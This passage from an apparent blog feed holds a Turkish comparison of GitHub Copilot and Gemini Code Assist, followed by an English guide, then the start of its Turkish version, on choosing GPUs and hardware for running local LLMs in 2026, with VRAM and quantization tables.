s&uuml;r&uuml;m bile geli&scedil;tirici ara&ccedil;lar&inodot; aras&inodot;nda kenarda durmay&inodot; hak ediyor.</li> <li><strong>Standard S&uuml;r&uuml;m (19 Dolar / Ay - Yakla&scedil;&inodot;k 870 TL):</strong> S&inodot;n&inodot;rs&inodot;z kod tamamlama ve sohbet, Gemini 2.5 Pro ve Flash modelleri, Model Ba&gbreve;lant&inodot; Protokol&uuml; (MCP) deste&gbreve;i<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> ve GitHub PR entegrasyonu sunuyor. (Model Context Protocol kullan&inodot;m&inodot;yla ilgili <a href="/qwen3-mcp-server-aktif-etme/">Qwen 3.6 MCP Server Aktif Etme</a> yaz&inodot;ma da g&ouml;z atabilirsiniz).</li> <li><strong>Enterprise S&uuml;r&uuml;m (45 Dolar / Kullan&inodot;c&inodot;/Ay - Yakla&scedil;&inodot;k 2.070 TL):</strong> Kendi &ouml;zel kod taban&inodot;n&inodot;za g&ouml;re &ouml;zelle&scedil;tirme, derin Google Cloud (GCP) entegrasyonlar&inodot; (Firebase, BigQuery vs.), &ouml;zel model ince ayar&inodot; ve g&uuml;venlik duvarlar&inodot; ekliyor.</li> </ul> <hr/> <h2 id="hafza-ve-zeka-cekismesi-model-kalitesi-ve-baglam-fark_1">Haf&inodot;za ve Zeka &Ccedil;eki&scedil;mesi: Model Kalitesi ve Ba&gbreve;lam Fark&inodot; 🧠<a class="headerlink" href="#hafza-ve-zeka-cekismesi-model-kalitesi-ve-baglam-fark" title="Permanent link">#</a></h2> <p>Sadede gelirsek; para pul i&scedil;in kolay k&inodot;sm&inodot;. Bizim i&ccedil;in as&inodot;l &ouml;nemli olan, hangisinin terminalde elimiz aya&gbreve;&inodot;m&inodot;z oldu&gbreve;udur.</p> <h3 id="copilotun-model-esnekligi">Copilot'un Model Esnekli&gbreve;i<a class="headerlink" href="#copilotun-model-esnekligi" title="Permanent link">#</a></h3> <p>Copilot'un en b&uuml;y&uuml;k art&inodot;s&inodot; tek bir modele mahkum olmaman&inodot;zd&inodot;r. Basit i&scedil;ler i&ccedil;in Claude 3.5 Sonnet'i, genel sorular i&ccedil;in GPT-4o'yu, karma&scedil;&inodot;k mant&inodot;k y&uuml;r&uuml;tme gerektiren algoritmik problemler i&ccedil;in ise OpenAI o1 modelini tek t&inodot;kla se&ccedil;ebiliyorsunuz. Ancak b&uuml;y&uuml;k projelerdeki ba&gbreve;lam y&ouml;netimi h&acirc;l&acirc; rakiplerinin gerisinde kal&inodot;yor. Kodlama i&ccedil;in bulut servisleri yerine yerel alternatifleri kurmak isterseniz <a href="/yerel-llm-kurulum-rehberi-2026/">Kendi Sunucunda Yapay Zeka (2026)</a> rehberime, ayr&inodot;ca yerelde kullanabilece&gbreve;iniz en iyi kodlama modelleri i&ccedil;in <a href="/en-iyi-yerel-llm-modelleri-2026/">En &Idot;yi Yerel LLM Modelleri (2026)</a> kar&scedil;&inodot;la&scedil;t&inodot;rmama g&ouml;z atabilirsiniz.</p> <h3 id="gemininin-1-milyon-token-avantaj">Gemini'nin 1 Milyon Token Avantaj&inodot;<a class="headerlink" href="#gemininin-1-milyon-token-avantaj" title="Permanent link">#</a></h3> <p>Gemini Code Assist'in en b&uuml;y&uuml;k kozu <strong>1 milyon tokenl&inodot;k ba&gbreve;lam penceresidir</strong>. K&uuml;&ccedil;&uuml;k bir ba&gbreve;lam penceresiyle b&uuml;y&uuml;k bir projede kod yazmaya &ccedil;al&inodot;&scedil;mak, anahtar deli&gbreve;inden oday&inodot; boyamaya &ccedil;al&inodot;&scedil;mak gibidir. Gemini ise monorepo projeleri veya eski sistemleri tek seferde haf&inodot;zas&inodot;na al&inodot;p dosyalar aras&inodot;ndaki ili&scedil;kileri kay&inodot;ps&inodot;z yorumlayabiliyor. Ayr&inodot;ca sonraki d&uuml;zenlemeleri tahmin eden (Next Edit Predictions) yap&inodot;s&inodot; sayesinde kod yazarken olduk&ccedil;a proaktif davran&inodot;yor.</p> <hr/> <h2 id="otonom-ajanlar-kars-karsya-agent-mode_1">Otonom Ajanlar Kar&scedil;&inodot; Kar&scedil;&inodot;ya: Agent Mode 🤖<a class="headerlink" href="#otonom-ajanlar-kars-karsya-agent-mode" title="Permanent link">#</a></h2> <p>Y&inodot;l 2026 olmu&scedil;, art&inodot;k sadece otomatik tamamlama kesmiyor; iki asistan&inodot;n da arka planda kendi kendine plan yap&inodot;p terminalde komut ko&scedil;turan ajan (Agent) modlar&inodot; var.</p> <ul> <li><strong>GitHub Copilot Agent Mode:</strong> Tek bir komutla kodu analiz edip, birden fazla dosyada de&gbreve;i&scedil;iklik yap&inodot;p terminalde testleri ko&scedil;turabiliyor. K&uuml;&ccedil;&uuml;k ve s&inodot;n&inodot;rlar&inodot; belli hata &ccedil;&ouml;z&uuml;mleri veya refactoring i&scedil;leri i&ccedil;in &ccedil;ok pratiktir.</li> <li><strong>Gemini Agent Mode:</strong> Devasa 1 milyon tokenl&inodot;k haf&inodot;zas&inodot; sayesinde &ccedil;oklu dosya de&gbreve;i&scedil;ikliklerinde daha az hata yap&inodot;yor. Ayr&inodot;ca harici veri kaynaklar&inodot;na ba&gbreve;lanabildi&gbreve;i i&ccedil;in sadece kod taban&inodot;n&inodot;zla s&inodot;n&inodot;rl&inodot; kalm&inodot;yor. Ancak Copilot'un ajan&inodot; piyasada daha uzun s&uuml;redir pi&scedil;ti&gbreve;i i&ccedil;in g&uuml;nl&uuml;k kullan&inodot;mda biraz daha pratik hissettiriyor.</li> </ul> <hr/> <h2 id="entegrasyon-ve-ekosistem">Entegrasyon ve Ekosistem ⚙️<a class="headerlink" href="#entegrasyon-ve-ekosistem" title="Permanent link">#</a></h2> <p>Edit&ouml;r deste&gbreve;inde Copilot'un y&inodot;llar&inodot;n getirdi&gbreve;i o ezici &uuml;st&uuml;nl&uuml;&gbreve;&uuml; h&acirc;l&acirc; devam ediyor. VS Code, JetBrains, Neovim, Visual Studio ve Eclipse gibi neredeyse t&uuml;m pop&uuml;ler edit&ouml;rlerde sorunsuz &ccedil;al&inodot;&scedil;&inodot;yor. Ayr&inodot;ca GitHub platformuyla yerel entegrasyonu sayesinde PR &ouml;zetleri &ccedil;&inodot;karma veya kod incelemeleri yapma s&uuml;re&ccedil;leri &ccedil;ok ba&scedil;ar&inodot;l&inodot;. E&gbreve;er yerel bir kod modelini VS Code ortam&inodot;na do&gbreve;rudan ba&gbreve;lamak isterseniz <a href="/yerel-ai-kurulum-rehberi-lm-studio-vs-code/">Yerel AI Kurulum Rehberi</a> yaz&inodot;m i&scedil;inizi olduk&ccedil;a kolayla&scedil;t&inodot;racakt&inodot;r.</p> <p>Gemini ise VS Code ve JetBrains d&inodot;&scedil;&inodot;nda bir yere hen&uuml;z resmi olarak yay&inodot;lm&inodot;&scedil; de&gbreve;il. Ancak g&uuml;c&uuml;n&uuml; Google Cloud Platform (GCP) entegrasyonundan al&inodot;yor. E&gbreve;er projeniz Firebase, BigQuery, Cloud Run veya Apigee &uuml;zerinde ko&scedil;uyorsa; Gemini bulut altyap&inodot;n&inodot;z&inodot; do&gbreve;rudan sorgulay&inodot;p altyap&inodot;n&inodot;za en uygun kodlar&inodot; &uuml;retebiliyor.</p> <hr/> <h2 id="performans-karslastrma-tablosu">Performans Kar&scedil;&inodot;la&scedil;t&inodot;rma Tablosu<a class="headerlink" href="#performans-karslastrma-tablosu" title="Permanent link">#</a></h2> <table> <thead> <tr> <th style="text-align: left;">&Ouml;zellik</th> <th style="text-align: left;">GitHub Copilot Pro</th> <th style="text-align: left;">Gemini Code Assist Standard</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;"><strong>Bireysel Fiyat</strong></td> <td style="text-align: left;">~$10 / Ay (460 TL)</td> <td style="text-align: left;">~$19 / Ay (870 TL)</td> </tr> <tr> <td style="text-align: left;"><strong>&Uuml;cretsiz S&uuml;r&uuml;m</strong></td> <td style="text-align: left;">2k tamamlama / Ay</td> <td style="text-align: left;">6k istek / G&uuml;n</td> </tr> <tr> <td style="text-align: left;"><strong>Model Se&ccedil;imi</strong></td> <td style="text-align: left;">Claude Sonnet, GPT-4o, o1</td> <td style="text-align: left;">Gemini 2.5 Pro / Flash</td> </tr> <tr> <td style="text-align: left;"><strong>Ba&gbreve;lam Penceresi</strong></td> <td style="text-align: left;">Projeye g&ouml;re indeksleme</td> <td style="text-align: left;">1 Milyon Token</td> </tr> <tr> <td style="text-align: left;"><strong>IDE Deste&gbreve;i</strong></td> <td style="text-align: left;">&Ccedil;ok geni&scedil; (Neovim dahil)</td> <td style="text-align: left;">VS Code ve JetBrains</td> </tr> <tr> <td style="text-align: left;"><strong>Bulut Entegrasyonu</strong></td> <td style="text-align: left;">Yok</td> <td style="text-align: left;">Derin Google Cloud Entegrasyonu</td> </tr> <tr> <td style="text-align: left;"><strong>Fikri M&uuml;lkiyet Korumas&inodot;</strong></td> <td style="text-align: left;">Var (Microsoft IP Indemnity)<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup></td> <td style="text-align: left;">Sadece Enterprise plan&inodot;nda var</td> </tr> </tbody> </table> <hr/> <h2 id="kafan-karstysa-hangisini-secmelisin">Kafan Kar&inodot;&scedil;t&inodot;ysa: Hangisini Se&ccedil;melisin?<a class="headerlink" href="#kafan-karstysa-hangisini-secmelisin" title="Permanent link">#</a></h2> <ol> <li><strong>B&uuml;t&ccedil;e ve Bireysel Kullan&inodot;m:</strong> Ayda sadece 10 dolar &ouml;deyerek en iyi modellere (&ouml;zellikle Claude 3.5 Sonnet) eri&scedil;mek istiyorsan&inodot;z Copilot Pro &scedil;u an rakipsizdir.</li> <li><strong>B&uuml;y&uuml;k Kod Tabanlar&inodot;:</strong> Monorepo veya birbirine ba&gbreve;&inodot;ml&inodot; onlarca klas&ouml;rden olu&scedil;an b&uuml;y&uuml;k projelerle u&gbreve;ra&scedil;&inodot;yorsan&inodot;z, Gemini'nin 1 milyon tokenl&inodot;k haf&inodot;zas&inodot; hayat kurtar&inodot;r.</li> <li><strong>Google Cloud Kullan&inodot;c&inodot;lar&inodot;:</strong> Altyap&inodot;n&inodot;z Google Cloud &uuml;zerindeyse Gemini'nin entegrasyonlar&inodot; sayesinde ba&scedil;ka bir ara&ccedil; aramaya gerek kalmaz.</li> </ol> <p>Uzun laf&inodot;n k&inodot;sas&inodot;, e&gbreve;er b&uuml;t&ccedil;en k&inodot;s&inodot;tl&inodot;ysa veya Google Cloud ekosisteminde de&gbreve;ilsen, ayl&inodot;k 460 TL (~$10) fiyat&inodot;yla Copilot Pro &scedil;u anki en mant&inodot;kl&inodot; limand&inodot;r dostum. 🚀</p> <p>Hadi kal&inodot;n sa&gbreve;l&inodot;cakla!</p> <hr/> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Model Context Protocol (MCP), yerel veya uzak yapay zeka modellerinin yerel bilgisayar&inodot;n&inodot;zdaki dosyalara, veri tabanlar&inodot;na veya ara&ccedil;lara g&uuml;venli bir protokol &uuml;zerinden eri&scedil;mesini sa&gbreve;layan a&ccedil;&inodot;k kaynakl&inodot; bir standartt&inodot;r.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>IP Indemnity (Fikri M&uuml;lkiyet G&uuml;vencesi), &uuml;retilen kodlar&inodot;n telif hakk&inodot; ihlali olu&scedil;turmas&inodot; durumunda Microsoft'un m&uuml;&scedil;terisini yasal olarak koruyaca&gbreve;&inodot;n&inodot; taahh&uuml;t etti&gbreve;i bir g&uuml;vencedir.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-06-04T20:30:00+03:002026-06-04T20:30:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-06-04:/en/yerel-llmler-icin-en-iyi-gpu-2026/

<p>We analyze the most logical hardware choices for running models like Llama 4 or Qwen 3.5 on your local system in 2026. A guide from budget setups to beastly workstations.</p>

<p>Last night, after the kids fell asleep, in the sweet silence of the house, I sat down at my desk. 💻 As I refreshed my tea and checked the bills for cloud services, I got annoyed. The money I paid to OpenAI and Anthropic APIs just for basic automations, testing, and daily assistant tasks was growing like a mountain. I asked myself: "Y&uuml;cel, we are in the kitchen of this business, why don't we dump all this load onto our own local hardware?"</p> <p>Of course, let's be realistic: the computer under our desk cannot compete with those massive data centers in the cloud running models with hundreds of billions of parameters, my friend. 🧠 The power of the cloud will always remain on a completely different level. But our goal is not to build ChatGPT; it is to spin up a satisfying local AI assistant that will get things done and serve as our right hand when coding.</p> <p>And you don't even need to dump a mountain of cash for this. Let's look at the hardware options starting from a Raspberry Pi up to professional workstations, VRAM realities, and some handy tricks in 2026.</p> <hr/> <h2 id="bandwidth-and-vram-the-math-side-of-things">Bandwidth and VRAM: The Math Side of Things 🛠️<a class="headerlink" href="#bandwidth-and-vram-the-math-side-of-things" title="Permanent link">#</a></h2> <p>The first rule of running AI locally: forget about the CPU's raw processing power. Here, everything revolves around the graphics card's memory size (VRAM) and how fast that memory runs (bandwidth).</p> <ol> <li><strong>VRAM Capacity:</strong> The main gateway that decides whether your chosen model will open on your computer at all.</li> <li><strong>Memory Bandwidth:</strong> Determines how fast the model writes back to you, how many tokens it generates per second.</li> </ol> <p>Trying to run a large model with insufficient VRAM is like trying to empty an ocean with a teaspoon. When the card runs out of memory, the system dumps the load onto the computer's main RAM, and from that second on, the speed hits rock bottom.<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> The new GDDR7 memory technology in graphics cards or Apple's unified memory architecture in the M-series are the strongest cards in our hand to break this bottleneck.</p> <p>Of course, the CPU and system RAM aren't just sitting idle. A fast CPU helps the GPU during the initial prompt processing phase, while the system memory carries the model's memory (KV cache). That's why even if you build a GPU-centric system, it's a must to add at least 32 GB of fast RAM and a modern processor (Ryzen 7000 or Intel 13th gen and up). If you are wondering how to install and configure these hardware components step-by-step, you can check out my detailed guide on <a href="/en/yerel-llm-kurulum-rehberi-2026/">Self-Hosted LLMs in 2026</a>.</p> <hr/> <h2 id="hardware-tiers-and-budget-friendly-solutions">Hardware Tiers and Budget-Friendly Solutions 💰<a class="headerlink" href="#hardware-tiers-and-budget-friendly-solutions" title="Permanent link">#</a></h2> <p>Let's look closely at the system tiers you can build according to your budget in 2026 and local pricing.</p> <h3 id="wallet-safe-entry-level-2700-tl-13800-tl-60300">Wallet-Safe Entry Level (2,700 TL &ndash; 13,800 TL / $60&ndash;$300)<a class="headerlink" href="#wallet-safe-entry-level-2700-tl-13800-tl-60300" title="Permanent link">#</a></h3> <p>If you want to grasp the logic of AI, play around with small models between 3B-8B (billion parameters), or run simple automations in the background, you don't need to dump big money. Small models of Llama 4 Scout or Qwen 3.5 run smoothly even on surprisingly modest hardware. If you are undecided on which model to choose, my review on <a href="/en/en-iyi-yerel-llm-modelleri-2026/">Best Local LLM Models in 2026</a> will guide you.</p> <ul> <li><strong>Raspberry Pi 5 (4GB/8GB):</strong> Its price around here floats between 5,600 TL and 6,300 TL (on paper it's $60 but you know, taxes and import costs). It's a fun hobby tool to play around with and learn the system, but it can only generate about 1-2 words per second. So you need to be patient. Ideal for small automations that stay on 24/7.</li> <li><strong>Intel Arc B580:</strong> This card, which you can find on Akak&ccedil;e for around 12,000 TL, pulls off a big surprise by offering 12 GB of VRAM. Thanks to Intel's oneAPI support, you can run 7B models surprisingly smoothly.<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup></li> <li><strong>NVIDIA RTX 4060 (8GB):</strong> Sold for around 13,700 TL. Its memory is a bit tight at 8 GB, but NVIDIA's CUDA ecosystem is so broad and trouble-free that this is the choice where you'll have the least headache when stepping into AI.</li> </ul> <h3 id="mid-range-priceperformance-beasts-23000-tl-55000-tl-5001200">Mid-Range: Price/Performance Beasts (23,000 TL &ndash; 55,000 TL / $500&ndash;$1,200)<a class="headerlink" href="#mid-range-priceperformance-beasts-23000-tl-55000-tl-5001200" title="Permanent link">#</a></h3> <p>This is exactly where developers and those who want to integrate this into their daily workflow should look. VRAM that lets you run models without squeezing them too much, and memory bandwidth that won't choke your chat speed, starts in this segment.</p> <ul> <li><strong>AMD RX 9070 XT (16GB):</strong> With its RDNA4 architecture and AMD's finally recovering ROCm support, this card can be found in the 30,000 - 35,000 TL range. A perfect fit for models at the 13B or 14B level.</li> <li><strong>Mac Mini M4 (32GB Unified Memory):</strong> There is nothing better right now for those who want zero noise on the desk and a low electricity bill. Thanks to Apple's unified memory architecture, it runs 14B and even 32B models with surprising stability. While the base (16GB) model starts around 35,000 TL in Turkey, choosing the 32GB version is a must for AI. That one goes up to about 53,000 TL.</li> <li><strong>My Secret Formula on the Desk: Second-Hand RTX 3090 + Fast DDR5 RAM:</strong> Instead of running directly after brand new and most expensive parts, building a smart hybrid system is my favorite method here. In the test system I set up in my study, I paired a clean second-hand RTX 3090 graphics card with high-speed DDR5-8000 memories. Using <code>llama.cpp</code>, I set the model to load some layers to the graphics card memory (VRAM) and the remaining part that doesn't fit to the fast system memory (RAM). This way, without getting into the cost of a 130,000 TL workstation, I can run massive 70B models at a very reasonable speed for nearly half the price.</li> </ul> <h3 id="professional-league-those-who-spend-big-and-look-for-beasts-73000-tl-135000-tl-16003000">Professional League: Those Who Spend Big and Look for Beasts (73,000 TL &ndash; 135,000 TL+ / $1,600&ndash;$3,000+)<a class="headerlink" href="#professional-league-those-who-spend-big-and-look-for-beasts-73000-tl-135000-tl-16003000" title="Permanent link">#</a></h3> <p>If your goal is to run massive 70B and larger models, handle complex reasoning steps locally, and run entirely custom local agents, you have to throw down the cash for high VRAM and high memory bandwidth.</p> <ul> <li><strong>New Gen Flagship (RTX 5090 / 5080):</strong> NVIDIA's Blackwell architecture and ultra-fast GDDR7 memories are the peak of this business. The 32 GB VRAM offered by the RTX 5090 unties the tongue of large models. Even though its price hurts in our country due to taxes, this is the address for top performance.</li> <li><strong>Dual RTX 3090 Setup:</strong> A hidden paradise for those who aren't afraid of building a PC and dealing with hardware. Two second-hand RTX 3090s give you a total of 48 GB VRAM. This is still the cheapest way to run 70B models completely in graphics card memory at a massive speed of 15-20 words per second.</li> <li><strong>Mac Studio M4 Ultra (64GB+ Unified Memory):</strong> The ultimate solution for professionals who say, "I can't deal with opening the PC case, drivers, or dual card heat, let it run out of the box." Its only downside is the deep wound it will leave in the wallet.</li> </ul> <hr/> <h2 id="which-tier-is-right-for-you-comparison-table_1">Which Tier is Right for You? (Comparison Table)<a class="headerlink" href="#which-tier-is-right-for-you-comparison-table" title="Permanent link">#</a></h2> <table> <thead> <tr> <th style="text-align: left;">Tier</th> <th style="text-align: left;">Approximate Budget</th> <th style="text-align: left;">Best F/P Device</th> <th style="text-align: left;">Model Capacity</th> <th style="text-align: left;">Ideal Use Case</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;">Entry Level</td> <td style="text-align: left;">2,700 TL &ndash; 13,800 TL</td> <td style="text-align: left;">Intel Arc B580</td> <td style="text-align: left;">3B &ndash; 8B</td> <td style="text-align: left;">Learning and Small Agents</td> </tr> <tr> <td style="text-align: left;">Mid-Range</td> <td style="text-align: left;">23.000 TL &ndash; 55.000 TL</td> <td style="text-align: left;">RX 9070 XT / M4</td> <td style="text-align: left;">13B &ndash; 34B</td> <td style="text-align: left;">Coding and Daily Helper</td> </tr> <tr> <td style="text-align: left;">70B Hybrid</td> <td style="text-align: left;">~50,000 TL</td> <td style="text-align: left;">2nd Hand 3090 + DDR5</td> <td style="text-align: left;">70B (Quantized)</td> <td style="text-align: left;">Custom Reasoning</td> </tr> <tr> <td style="text-align: left;">Professional</td> <td style="text-align: left;">73,000 TL+</td> <td style="text-align: left;">RTX 5090 / Dual 3090</td> <td style="text-align: left;">70B+ (Full Speed)</td> <td style="text-align: left;">Professional Workflows</td> </tr> </tbody> </table> <hr/> <h2 id="memory-size-and-quantization-rates">Memory Size and Quantization Rates 📊<a class="headerlink" href="#memory-size-and-quantization-rates" title="Permanent link">#</a></h2> <table> <thead> <tr> <th style="text-align: left;">Model Size</th> <th style="text-align: left;">FP16 (Uncompressed)</th> <th style="text-align: left;">Q8 (8-bit Quantization)</th> <th style="text-align: left;">Q4 (4-bit Quantization)</th> <th style="text-align: left;">Minimum GPU</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;">7B</td> <td style="text-align: left;">14-16 GB</td> <td style="text-align: left;">8-10 GB</td> <td style="text-align: left;">4-6 GB</td> <td style="text-align: left;">RTX 4060 (8GB)</td> </tr> <tr> <td style="text-align: left;">13B</td> <td style="text-align: left;">26-30 GB</td> <td style="text-align: left;">15-18 GB</td> <td style="text-align: left;">10-14 GB</td> <td style="text-align: left;">RX 9070 (16GB)</td> </tr> <tr> <td style="text-align: left;">34B</td> <td style="text-align: left;">68-75 GB</td> <td style="text-align: left;">38-45 GB</td> <td style="text-align: left;">20-25 GB</td> <td style="text-align: left;">RTX 3090/4090 (24GB)</td> </tr> <tr> <td style="text-align: left;">70B</td> <td style="text-align: left;">140-160 GB</td> <td style="text-align: left;">75-85 GB</td> <td style="text-align: left;">35-45 GB</td> <td style="text-align: left;">2x RTX 3090 / RTX 5090</td> </tr> </tbody> </table> <hr/> <h2 id="software-side-how-are-we-going-to-run-this-hardware">Software Side: How Are We Going to Run This Hardware? ⚙️<a class="headerlink" href="#software-side-how-are-we-going-to-run-this-hardware" title="Permanent link">#</a></h2> <p>No matter how powerful the hardware in your hands is, unless you feed it with the right software, those cards won't be anything more than expensive toys glowing in the case. As of 2026, there are three main tools that serve as our right hand in the local AI world:</p> <ul> <li><strong><a href="https://ollama.com/" rel="noopener noreferrer" target="_blank">Ollama</a>:</strong> A lifesaver for developers. Its setup is so easy that it completely makes you forget about dealing with graphics card drivers or model files.</li> <li><strong><a href="https://lmstudio.ai/" rel="noopener noreferrer" target="_blank">LM Studio</a>:</strong> The best choice for those who love visual interfaces. Thanks to its Model Context Protocol (MCP) support, it allows local models to communicate securely with your local files. If you want to build your own coding assistant from scratch with VS Code and LM Studio integration, you can check out my <a href="/en/yerel-ai-kurulum-rehberi-lm-studio-vs-code/">Local AI Setup Guide (LM Studio &amp; VS Code)</a>.</li> <li><strong><a href="https://github.com/ggerganov/llama.cpp" rel="noopener noreferrer" target="_blank">llama.cpp</a>:</strong> This is the engine behind almost all local systems. If you are building your own hybrid system, you will use this tool to manage the balance between graphics card memory and system memory.</li> </ul> <p>Running the model on the graphics card is as simple as executing this command in the terminal:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>ollama<span class="w"> </span>run<span class="w"> </span>llama4 </code></pre></div> <hr/> <h2 id="small-tricks-for-squeezing-out-performance">Small Tricks for Squeezing Out Performance 💡<a class="headerlink" href="#small-tricks-for-squeezing-out-performance" title="Permanent link">#</a></h2> <ol> <li><strong>Don't Skip Quantization:</strong> Don't try to run models in their uncompressed (FP16) state. While the quality loss in compression formats like Q4_K_M or Q5_K_M is nearly impossible to notice, the speed and memory savings reach incredible levels.</li> <li><strong>Case Cooling:</strong> In systems with dual graphics cards or running under high load, your biggest enemy is heat. As cards get hot, they throttle frequencies and your performance drops. So, choose a case with plenty of fans and fresh airflow.</li> <li><strong>Choose Fast System Memory:</strong> If your budget is tight and you dump part of the model into system RAM, choosing high-speed <strong>DDR5-8000</strong> memory instead of DDR4 significantly increases the word generation speed.</li> </ol> <hr/> <h2 id="so-at-the-end-of-the-day-is-this-adventure-worth-the-money">So at the End of the Day, Is This Adventure Worth the Money?<a class="headerlink" href="#so-at-the-end-of-the-day-is-this-adventure-worth-the-money" title="Permanent link">#</a></h2> <p>Let's do a quick calculation.</p> <ul> <li><strong>Cloud Services (GPT-4o/Claude 3.5)</strong>: In individual use, monthly API bills can easily reach between 2,000 TL and 4,000 TL.</li> <li><strong>Local System</strong>: A 45,000 TL mid-range setup pays for itself in about 12-18 months. Plus, even when the electricity bill is added, it is completely profitable in the long run.</li> </ul> <p>More importantly, it's the peace of mind that comes from not being dependent on the cloud. As we saw in the Anthropic outage in April 2026, tying your entire workflow to the cloud is a big risk. Long story short, running locally doesn't mean matching the cloud's massive processing power. But building a system that runs under your desk, doesn't depend on the internet, doesn't leak your data, and doesn't send you API bills is incredibly satisfying, my friend. 🚀</p> <p>Stay safe!</p> <hr/> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>In large language models, every time a word is generated, all model weights are moved from memory to processor cores. Therefore, memory speed directly determines the word generation speed per second.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>To use Intel Arc series cards in AI, you need to install Intel's own oneAPI drivers on Linux. The installation steps are a bit more tedious than NVIDIA CUDA.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-06-04T20:30:00+03:002026-06-04T20:30:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-06-04:/yerel-llmler-icin-en-iyi-gpu-2026/

<p>2026 yılında kendi sisteminizde Llama 4 veya Qwen 3.5 gibi modelleri çalıştırmak için en mantıklı donanım seçeneklerini ele alıyoruz. Bütçe dostu kurulumlardan canavar iş istasyonlarına uzanan bir rehber.</p>

<p>&Ccedil;ay&inodot;m&inodot; tazeleyip bulut servislerinin faturalar&inodot;n&inodot; kontrol ederken can&inodot;m s&inodot;k&inodot;ld&inodot;. S&inodot;rf basit otomasyonlar, testler ve g&uuml;nl&uuml;k asistanl&inodot;k i&scedil;leri i&ccedil;in OpenAI ve Anthropic API'lerine &ouml;dedi&gbreve;im para &ccedil;&inodot;&gbreve; gibi b&uuml;y&uuml;yordu. Kendi kendime sordum: "Y&uuml;cel, biz bu i&scedil;in mutfa&gbreve;&inodot;nday&inodot;z, neden t&uuml;m bu y&uuml;k&uuml; kendi yerel donan&inodot;m&inodot;m&inodot;za y&inodot;km&inodot;yoruz?"</p> <p>Tabii ki ger&ccedil;ek&ccedil;i olal&inodot;m: Masam&inodot;z&inodot;n alt&inodot;ndaki bilgisayar, buluttaki devasa veri merkezleriyle, y&uuml;z milyarlarca parametreli canavar modellerle a&scedil;&inodot;k atamaz dostum. 🧠 Bulutun g&uuml;c&uuml; her zaman apayr&inodot; bir seviyede kalacak. Ama bizim amac&inodot;m&inodot;z da ChatGPT &uuml;retmek de&gbreve;il; i&scedil;imizi g&ouml;recek, kod yazarken elimiz aya&gbreve;&inodot;m&inodot;z olacak tatmin edici bir yerel yapay zeka asistan&inodot; aya&gbreve;a kald&inodot;rmak. </p> <p>Bunun i&ccedil;in &ouml;yle &ccedil;uvalla para d&ouml;kmeye de gerek yok asl&inodot;nda. 2026 itibar&inodot;yla bir Raspberry Pi'den ba&scedil;lay&inodot;p profesyonel i&scedil; istasyonlar&inodot;na kadar hangi donan&inodot;m se&ccedil;eneklerimiz var, VRAM ve bellek bant geni&scedil;li&gbreve;i d&uuml;nyas&inodot;nda neler d&ouml;n&uuml;yor, gelin birlikte bakal&inodot;m.</p> <hr/> <h2 id="bant-genisligi-ve-vram-isin-matematik-ksm">Bant Geni&scedil;li&gbreve;i ve VRAM: &Idot;&scedil;in Matematik K&inodot;sm&inodot; 🛠️<a class="headerlink" href="#bant-genisligi-ve-vram-isin-matematik-ksm" title="Permanent link">#</a></h2> <p>Yerelde yapay zeka ko&scedil;turman&inodot;n ilk kural&inodot;: &Idot;&scedil;lemcinin saf g&uuml;c&uuml;n&uuml; falan bir kenara b&inodot;rak&inodot;n. Burada her &scedil;ey ekran kart&inodot;n&inodot;n bellek miktar&inodot; (VRAM) ve o belle&gbreve;in ne kadar h&inodot;zl&inodot; &ccedil;al&inodot;&scedil;t&inodot;&gbreve;&inodot; (bant geni&scedil;li&gbreve;i) etraf&inodot;nda d&ouml;n&uuml;yor.</p> <ol> <li><strong>VRAM Kapasitesi:</strong> Se&ccedil;ti&gbreve;iniz modelin bilgisayar&inodot;n&inodot;zda hi&ccedil; a&ccedil;&inodot;l&inodot;p a&ccedil;&inodot;lmayaca&gbreve;&inodot;n&inodot; belirleyen ana s&inodot;n&inodot;r kap&inodot;s&inodot;d&inodot;r.</li> <li><strong>Bellek Bant Geni&scedil;li&gbreve;i:</strong> Modelin size ne kadar h&inodot;zl&inodot; cevap yazaca&gbreve;&inodot;n&inodot;, saniyede ka&ccedil; kelime &uuml;retece&gbreve;ini belirler.</li> </ol> <p>Yetersiz VRAM ile b&uuml;y&uuml;k model &ccedil;al&inodot;&scedil;t&inodot;rmaya kalkmak, okyanusu &ccedil;ay ka&scedil;&inodot;&gbreve;&inodot;yla bo&scedil;altmaya &ccedil;al&inodot;&scedil;mak gibidir. Kart&inodot;n belle&gbreve;i yetmedi&gbreve;inde sistem y&uuml;k&uuml; bilgisayar&inodot;n ana RAM'ine y&inodot;kar ve h&inodot;z o saniyeden sonra yerlerde s&uuml;r&uuml;n&uuml;r.<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> Ekran kartlar&inodot;ndaki yeni GDDR7 bellek teknolojisi veya Apple'&inodot;n M serisindeki birle&scedil;ik bellek mimarisi, bu darbo&gbreve;az&inodot; a&scedil;mak i&ccedil;in elimizdeki en g&uuml;&ccedil;l&uuml; kozlar.</p> <p>Tabii bu s&inodot;rada i&scedil;lemci ve sistem RAM'i de bo&scedil; bo&scedil; oturmuyor. H&inodot;zl&inodot; bir CPU, girdi&gbreve;iniz prompt'u (komutu) ilk i&scedil;leme a&scedil;amas&inodot;nda GPU'ya yard&inodot;m ederken, sistem belle&gbreve;i de modelin haf&inodot;za k&inodot;sm&inodot;n&inodot; (KV cache) s&inodot;rtlar. Bu y&uuml;zden GPU odakl&inodot; bir sistem kursan&inodot;z bile, 